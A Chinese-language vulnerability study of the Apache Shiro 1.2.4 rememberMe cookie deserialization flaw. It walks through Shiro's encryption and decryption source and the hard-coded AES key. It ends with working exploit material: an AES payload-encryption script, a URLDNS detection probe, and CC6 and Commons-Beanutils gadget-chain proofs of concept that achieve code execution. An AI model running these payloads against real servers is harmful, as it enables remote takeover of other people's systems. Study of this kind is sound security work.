0x00 前言 0x01 漏洞环境搭建 0x02 漏洞原理 在Shiro <= 1.2.4 中,AES 加密算法的key 是硬编码在源码中,当我们勾选remember me 的时候shiro 会将我们的Cookie 信息序列化并且加密存储在Cookie 的rememberMe 字段中,这样在下次请求时会读取Cookie 中的rememberMe 字段并且进行解密然后反序列化
0x03 漏洞分析 加密流程 要找Cookie 的解密过程,直接在IDEA 里面全局搜索Cookie ,去找Shiro 包里的类
最后找到相关的类是CookieRememberMeManager ,锁定到**rememberSerializedIdentity()**这个方法上。
rememberSerializedIdentity 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 protected void rememberSerializedIdentity (Subject subject, byte [] serialized) { if (!WebUtils.isHttp(subject)) { if (log.isDebugEnabled()) { String msg = "Subject argument is not an HTTP-aware instance. This is required to obtain a servlet " + "request and response in order to set the rememberMe cookie. Returning immediately and " + "ignoring rememberMe operation." ; log.debug(msg); } return ; } HttpServletRequest request = WebUtils.getHttpRequest(subject); HttpServletResponse response = WebUtils.getHttpResponse(subject); String base64 = Base64.encodeToString(serialized); Cookie template = getCookie(); Cookie cookie = new SimpleCookie (template); cookie.setValue(base64); cookie.saveTo(request, response); }
可以看到这段代码中,先判断了是否为http 请求,然后将base64 编码的序列化字节数组转换成字符串,将base64 存入到Cookie 中
rememberIdentity 找到在rememberIdentity 方法中调用了rememberSerializedIdentity 方法
1 2 3 4 protected void rememberIdentity (Subject subject, PrincipalCollection accountPrincipals) { byte [] bytes = convertPrincipalsToBytes(accountPrincipals); rememberSerializedIdentity(subject, bytes); }
这个代码中调用了convertPrincipalsToBytes 方法将PrincipalCollection 对象转换成字节数组
convertPrincipalsToBytes 可以来看一下convertPrincipalsToBytes 方法做了什么
1 2 3 4 5 6 7 protected byte [] convertPrincipalsToBytes(PrincipalCollection principals) { byte [] bytes = serialize(principals); if (getCipherService() != null ) { bytes = encrypt(bytes); } return bytes; }
代码使用serialize 方法将PrincipalCollection 对象进行序列化操作,并将序列化后得到的字节数组保存在bytes 变量中
如果CipherService 对象不为空,则调用encrypt 方法对字节数组进行加密操作,并将加密后的结果更新到bytes 变量中并返回
encrypt 看一下encrypt 方法做了什么
1 2 3 4 5 6 7 8 9 protected byte [] encrypt(byte [] serialized) { byte [] value = serialized; CipherService cipherService = getCipherService(); if (cipherService != null ) { ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey()); value = byteSource.getBytes(); } return value; }
这个代码中会先获取CipherService 对象,然后调用该对象的加密方法,将字节数组和加密密钥作为参数
最重要的是getEncryptionCipherKey 函数,这是一个获取密钥的函数,直接返回变量
1 2 3 public byte [] getEncryptionCipherKey() { return encryptionCipherKey; }
可以看到encryptionCipherKey 是一个常量
1 private byte [] encryptionCipherKey;
可以看到变量是在setEncryptionCipherKey 方法中被写入的
1 2 3 public void setEncryptionCipherKey (byte [] encryptionCipherKey) { this .encryptionCipherKey = encryptionCipherKey; }
而setEncryptionCipherKey 是在setCipherKey 中被调用的
1 2 3 4 5 6 public void setCipherKey (byte [] cipherKey) { setEncryptionCipherKey(cipherKey); setDecryptionCipherKey(cipherKey); }
在看一下是哪里调用了setEncryptionCipherKey ,找到了AbstractRememberMeManager
1 2 3 4 5 public AbstractRememberMeManager () { this .serializer = new DefaultSerializer <PrincipalCollection>(); this .cipherService = new AesCipherService (); setCipherKey(DEFAULT_CIPHER_KEY_BYTES); }
可以看到这是个固定值
也就是说在Shiro1.2.4 中,它所有跟remenber 相关的加密是用一个固定的key 去加密的
然后使用的算法是AES
1 2 3 4 5 6 7 8 9 10 private static final byte [] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==" );
onSuccessfulLogin 反过来,我们去找找是在哪里调用了rememberIdentity 方法
1 2 3 4 5 6 7 8 9 10 11 12 13 public void onSuccessfulLogin (Subject subject, AuthenticationToken token, AuthenticationInfo info) { forgetIdentity(subject); if (isRememberMe(token)) { rememberIdentity(subject, token, info); } else { if (log.isDebugEnabled()) { log.debug("AuthenticationToken did not indicate RememberMe is requested. " + "RememberMe functionality will not be executed for corresponding account." ); } } }
首先这段代码调用forgetIdentity 方法,清除之前保存的身份信息,以保证该用户每次登录时都有最新的身份信息。
接着,代码判断当前用户是否选择了RememberMe”选项。如果选择了,则调用 rememberIdentity 方法,将用户的身份信息、认证令牌和认证信息保存到身份验证器中。这样,当用户下次访问时,就可以通过已保存的身份信息进行快速登录操作。
至此整个加密过程即是
1 onSuccessfulLogin() -> rememberIdentity() -> rememberSerializedIdentity()
解密分析 CookieRememberMeManager 要找Cookie 的解密过程,直接在IDEA 里面全局搜索Cookie ,去找Shiro 包里的类
最后找到相关的类是CookieRememberMeManager ,锁定到**getRememberedSerializedIdentity()**这个方法上。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 protected byte [] getRememberedSerializedIdentity(SubjectContext subjectContext) { if (!WebUtils.isHttp(subjectContext)) { if (log.isDebugEnabled()) { String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " + "servlet request and response in order to retrieve the rememberMe cookie. Returning " + "immediately and ignoring rememberMe operation." ; log.debug(msg); } return null ; } WebSubjectContext wsc = (WebSubjectContext) subjectContext; if (isIdentityRemoved(wsc)) { return null ; } HttpServletRequest request = WebUtils.getHttpRequest(wsc); HttpServletResponse response = WebUtils.getHttpResponse(wsc); String base64 = getCookie().readValue(request, response); if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null ; if (base64 != null ) { base64 = ensurePadding(base64); if (log.isTraceEnabled()) { log.trace("Acquired Base64 encoded identity [" + base64 + "]" ); } byte [] decoded = Base64.decode(base64); if (log.isTraceEnabled()) { log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0 ) + " bytes." ); } return decoded; } else { return null ; } }
可以看到在这个方法中,先判断是否为servlet 请求
如果是的话,再根据传入的subjectContext 对象来获取Cookie 中的remenberMe 的值
然后判断是否是deleteMe ,不是则存储到base64 变量中
如果base64 不为空,则判断base64 的编码长度,再对其进行base64 解码为字节数组,将解码结果返回;反之,返回null
getRememberedPrincipals 接着找到在getRememberedPrincipals 中调用了getRememberedSerializedIdentity
1 2 3 4 5 6 7 8 9 10 11 12 13 public PrincipalCollection getRememberedPrincipals (SubjectContext subjectContext) { PrincipalCollection principals = null ; try { byte [] bytes = getRememberedSerializedIdentity(subjectContext); if (bytes != null && bytes.length > 0 ) { principals = convertBytesToPrincipals(bytes, subjectContext); } } catch (RuntimeException re) { principals = onRememberedPrincipalFailure(re, subjectContext); } return principals; }
在这个代码中,先调用了getRememberedSerializedIdentity 方法,传入SubjectContext 对象,用来获取rememberMe 的字节数组
如果字节数组不为null 且大于0 ,则调用convertBytesToPrincipals()方法将字节数组转换成 PrincipalCollection 类型的对象
convertBytesToPrincipals 在来看一下convertBytesToPrincipals 的作用是什么
1 2 3 4 5 6 protected PrincipalCollection convertBytesToPrincipals (byte [] bytes, SubjectContext subjectContext) { if (getCipherService() != null ) { bytes = decrypt(bytes); } return deserialize(bytes); }
先判断是否有CipherService(加密服务),如果存在的话则调用 decrypt 方法对字节数组进行解密
接着在调用deserialize 方法对解密后的字节数组进行反序列化
deserialize 先来看一下deserialize 方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 protected PrincipalCollection deserialize (byte [] serializedIdentity) { return getSerializer().deserialize(serializedIdentity); } T deserialize (byte [] serialized) throws SerializationException; public T deserialize (byte [] serialized) throws SerializationException { if (serialized == null ) { String msg = "argument cannot be null." ; throw new IllegalArgumentException (msg); } ByteArrayInputStream bais = new ByteArrayInputStream (serialized); BufferedInputStream bis = new BufferedInputStream (bais); try { ObjectInputStream ois = new ClassResolvingObjectInputStream (bis); @SuppressWarnings({"unchecked"}) T deserialized = (T) ois.readObject(); ois.close(); return deserialized; } catch (Exception e) { String msg = "Unable to deserialze argument byte array." ; throw new SerializationException (msg, e); } }
可以看到代码创建一个ClassResolvingObjectInputStream 对象ois ,并将BufferedInputStream 对象bis 作为其构造参数
然后在使用ois 调用readObject 方法,将字节数组反序列化为对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 protected PrincipalCollection getRememberedIdentity (SubjectContext subjectContext) { RememberMeManager rmm = getRememberMeManager(); if (rmm != null ) { try { return rmm.getRememberedPrincipals(subjectContext); } catch (Exception e) { if (log.isWarnEnabled()) { String msg = "Delegate RememberMeManager instance of type [" + rmm.getClass().getName() + "] threw an exception during getRememberedPrincipals()." ; log.warn(msg, e); } } } return null ; }
decrypt 再来看一下decrypt 方法
1 2 3 4 5 6 7 8 9 protected byte [] decrypt(byte [] encrypted) { byte [] serialized = encrypted; CipherService cipherService = getCipherService(); if (cipherService != null ) { ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey()); serialized = byteSource.getBytes(); } return serialized; }
在看一下解密方法,发现是一个接口,里面存放了加密字段 和一个key ,试着看一下能不能找到key
1 ByteSource decrypt (byte [] encrypted, byte [] decryptionKey) throws CryptoException;
在看一下getDecryptionCipherKey
1 2 3 public byte [] getDecryptionCipherKey() { return decryptionCipherKey; }
再看一下decryptionCipherKey ,发现是一个常量
1 private byte [] decryptionCipherKey;
找一下是在哪里赋值的,关注Value write 即可
1 2 3 public void setDecryptionCipherKey (byte [] decryptionCipherKey) { this .decryptionCipherKey = decryptionCipherKey; }
接着看一下哪里调用了setDecryptionCipherKey ,找到setCipherKey
1 2 3 4 5 6 public void setCipherKey (byte [] cipherKey) { setEncryptionCipherKey(cipherKey); setDecryptionCipherKey(cipherKey); }
在看一下是哪里调用了setCipherKey
1 2 3 4 5 public AbstractRememberMeManager () { this .serializer = new DefaultSerializer <PrincipalCollection>(); this .cipherService = new AesCipherService (); setCipherKey(DEFAULT_CIPHER_KEY_BYTES); }
到这里跟上面的加密流程其实差不多了
0x04 漏洞利用 AES加密脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from Crypto.Cipher import AESimport uuidimport base64 def convert_bin (file ): with open (file,'rb' ) as f: return f.read() def AES_enc (data ): BS=AES.block_size pad=lambda s:s+((BS-len (s)%BS)*chr (BS-len (s)%BS)).encode() key="kPH+bIxk5D2deZiIxcaaaA==" mode=AES.MODE_CBC iv=uuid.uuid4().bytes encryptor=AES.new(base64.b64decode(key),mode,iv) ciphertext=base64.b64encode(iv+encryptor.encrypt(pad(data))) return ciphertext if __name__=="__main__" : data=convert_bin("ser.bin" ) print (AES_enc(data))
URLDNS漏洞探测 通过漏洞原理可以知道,构造Payload 需要将利用链通过AES 加密后在base64 编码。将Payload 的值设置为rememberMe 的cookie 值由于URLDNS 不依赖于Commons Collections 包,只需要JDK 的包就行,所有一般用于检测是否存在漏洞 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 HashMap<URL, Integer> hashMap= new HashMap <>(); URL url = new URL ("http://sdkhkszqkc.dgrh3.cn" );Class forName = Class.forName("java.net.URL" );Field declaredField = forName.getDeclaredField("hashCode" );declaredField.setAccessible(true ); declaredField.set(url,123 ); hashMap.put(url,1 ); declaredField.set(url,-1 ); serialize(hashMap); unserialize("ser.bin" );
CC链 这里添加的是Commons-Collections-3.2.1
1 2 3 4 5 <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2 .1 </version> </dependency>
直接使用CC链 (这里使用CC6)
去打的话,会爆出一个ClassNotFoundException ,具体报错信息是
1 Unable to load clazz named [[Lorg.apache.commons.collections.Transformer;] from class loader [ParallelWebappClassLoader
意味着在Tomcat 中的某个Web 应用程序中,无法加载名为org.apache.commons.collections.Transformer 的数组类,具体来说是一个Transformer 对象的数组类。
那么我们就不让代码中出现数组类即可,所以我们可以使用动态加载恶意类的方法
首先创建TemplatesImpl 对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 TemplatesImpl templates = new TemplatesImpl ();Class templatesClass = templates.getClass();Field nameFiled = templatesClass.getDeclaredField("_name" );nameFiled.setAccessible(true ); nameFiled.set(templates,"aaa" ); Field bytecodesFiled = templatesClass.getDeclaredField("_bytecodes" );bytecodesFiled.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("F:\\tmp\\classes\\CalcTest.class" ));byte [][] codes = {code};bytecodesFiled.set(templates,codes); Field tfactoryFiled = templatesClass.getDeclaredField("_tfactory" );tfactoryFiled.setAccessible(true ); tfactoryFiled.set(templates,new TransformerFactoryImpl ());
然后利用InvokerTransformer 去调用newTransformer 方法
1 2 InvokerTransformer invokerTransformer = new InvokerTransformer ("newTransformer" , null , null );
再把老的CommonsCollections6 的代码复制过来,将原来TiedMapEntry 构造时的第二个参数key ,改为前面创建的TemplatesImpl 对象
1 2 3 4 5 6 7 8 HashMap<Object, Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, templates);HashMap<Object, Object> map2 = new HashMap <>(); map2.put(tiedMapEntry, "bbb" ); lazyMap.remove(templates);
最后将lazyMap 中假的Transformer 对象改回真正有用的invokerTransformer 对象:
1 2 3 4 Class<LazyMap> lazyMapClass = LazyMap.class; Field lazyMapClassDeclaredField = lazyMapClass.getDeclaredField("factory" );lazyMapClassDeclaredField.setAccessible(true ); lazyMapClassDeclaredField.set(lazyMap,invokerTransformer);
POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 TemplatesImpl templates = new TemplatesImpl ();Class templatesClass = templates.getClass();Field nameFiled = templatesClass.getDeclaredField("_name" );nameFiled.setAccessible(true ); nameFiled.set(templates,"aaa" ); Field bytecodesFiled = templatesClass.getDeclaredField("_bytecodes" );bytecodesFiled.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("F:\\tmp\\classes\\CalcTest.class" ));byte [][] codes = {code};bytecodesFiled.set(templates,codes); Field tfactoryFiled = templatesClass.getDeclaredField("_tfactory" );tfactoryFiled.setAccessible(true ); tfactoryFiled.set(templates,new TransformerFactoryImpl ()); InvokerTransformer invokerTransformer = new InvokerTransformer ("newTransformer" , null , null );HashMap<Object, Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, templates);HashMap<Object, Object> map2 = new HashMap <>(); map2.put(tiedMapEntry, "bbb" ); lazyMap.remove(templates); Class<LazyMap> lazyMapClass = LazyMap.class; Field lazyMapClassDeclaredField = lazyMapClass.getDeclaredField("factory" );lazyMapClassDeclaredField.setAccessible(true ); lazyMapClassDeclaredField.set(lazyMap,invokerTransformer); serialize(map2); unserialize("ser.bin" );
然后将生成的ser.bin 序列化文件利用上面的加密脚本进行加密后发送过去,成功弹出计算器
CB链 POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 TemplatesImpl templates = new TemplatesImpl ();Class templatesClass = templates.getClass();Field nameFiled = templatesClass.getDeclaredField("_name" );nameFiled.setAccessible(true ); nameFiled.set(templates,"aaa" ); Field bytecodesFiled = templatesClass.getDeclaredField("_bytecodes" );bytecodesFiled.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("F:\\tmp\\classes\\CalcTest.class" ));byte [][] codes = {code};bytecodesFiled.set(templates,codes); Field tfactoryFiled = templatesClass.getDeclaredField("_tfactory" );tfactoryFiled.setAccessible(true ); tfactoryFiled.set(templates,new TransformerFactoryImpl ()); BeanComparator BeanComparator = new BeanComparator (null ,String.CASE_INSENSITIVE_ORDER);PriorityQueue<Object> priorityQueue = new PriorityQueue <>(BeanComparator); priorityQueue.add("1" ); priorityQueue.add("2" ); Class<BeanComparator> beanComparatorClass = BeanComparator.class; Field property = beanComparatorClass.getDeclaredField("property" );property.setAccessible(true ); property.set(BeanComparator,"outputProperties" ); Class<PriorityQueue> priorityQueueClass = PriorityQueue.class; Field comparator = priorityQueueClass.getDeclaredField("queue" );comparator.setAccessible(true ); comparator.set(priorityQueue, new Object []{templates, templates}); serialize(priorityQueue); unserialize("ser.bin" );
注:
Java 在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的serialVersionUID 值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的serialVersionUID 不同,则反序列化就会异常退出,避免后续的未知隐患。
报错信息:
1 org.apache.commons.beanutils.BeanComparator; local class incompatible : stream classdesc serialVersionUID = -2044202215314119608 , local class serialVersionUID = -3490850999041592962
所以,当commons-Beanutils 的版本不一致时会报错,所以你可以在本地将版本更换成一致的
在Shiro 中,它的commons-beanutils 虽然包含了一部分commons-collections 的类,但却不全。
所以需要将BeanComparator 的比较器更换成Java 、shiro 或者是Commons-Beanutils 里面符合的类即可
0x05 总结 0x06 参考资料 P牛知识星球-Java安全漫谈
B站-白日梦组长
https://www.bilibili.com/video/BV16h411z7o9/?spm_id_from=333.999.0.0&vd_source=19d2e433219440bcf5304fbe8a00b7ff
Y4tacker
https://github.com/Y4tacker/JavaSec